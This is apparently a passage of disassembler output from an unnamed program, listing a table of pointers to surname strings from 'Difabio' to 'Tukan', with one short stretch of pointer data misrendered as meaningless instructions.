		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
; ---------------------------------------------------------------------------


loc_42E3C8:				; CODE XREF: ___:loc_42E3C8j
		js	short loc_42E3C8
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[eax-2], ah
		inc	edx
		add	[esi+edi*8+42h], dl
		add	[eax-2], cl
		inc	edx
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[esi+edi*8], bl
		inc	edx
		add	[esi+edi*8], dl
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	al, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[eax-4FFFBD03h], bh
		std
		inc	edx
		add	[ebp+edi*8-263FFBEh], ah
		inc	edx
		add	[eax-7BFFBD03h], dl
		std
		inc	edx
		add	[ebp+edi*8+42h], bh
		add	[eax-3], dh
		inc	edx
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	ds:0FD280042h[edi*8], dh
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	ds:0FD0C0042h[edi*8], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
